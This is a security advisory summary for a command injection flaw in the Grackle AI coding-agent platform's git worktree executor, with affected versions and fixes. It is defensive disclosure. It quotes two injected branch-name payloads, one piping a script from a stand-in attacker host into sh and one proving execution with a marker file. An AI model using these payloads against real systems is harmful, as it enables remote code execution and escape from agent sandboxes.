Executive brief
Grackle is an orchestration platform for managing AI coding agents across remote environments. A command injection vulnerability in its git worktree executor allows attackers to execute arbitrary commands as the PowerLine user on provisioned hosts (SSH, Docker, Codespace) by crafting malicious task branch names, potentially enabling full system compromise and escape from agent sandboxes.
Technical details
The vulnerability stems from two related issues in worktree.ts: (1) the git executor spawns git through a shell (shell:true) and passes an untrusted task branch name directly into the command array without escaping, allowing arbitrary shell metacharacters to be injected via branch names like "x;curl http://attacker/x.sh|sh;#"; (2) the branch argument lacks a -- separator, enabling argument injection. Exploitation requires ability to reach the PowerLine SpawnSession gRPC RPC endpoint (via a malicious/compromised agent or direct client), but authentication checks are insufficient. The injected code runs as the PowerLine user on all connected provisioned environments. The advisory confirms empirically that branch names like "evilbranch;touch /tmp/PWNED" successfully execute arbitrary commands. Fix: remove shell:true and use execFile() with argv array, add -- separators, and validate branch names at the gRPC boundary.
Affected products
- Grackle @grackle-ai/runtime-sdk ≤0.132.1
- Grackle @grackle-ai/powerline ≤0.132.1
Timeline
- 2026-07-02: disclosed: Advisory GHSA-vv65-f55v-xm6g published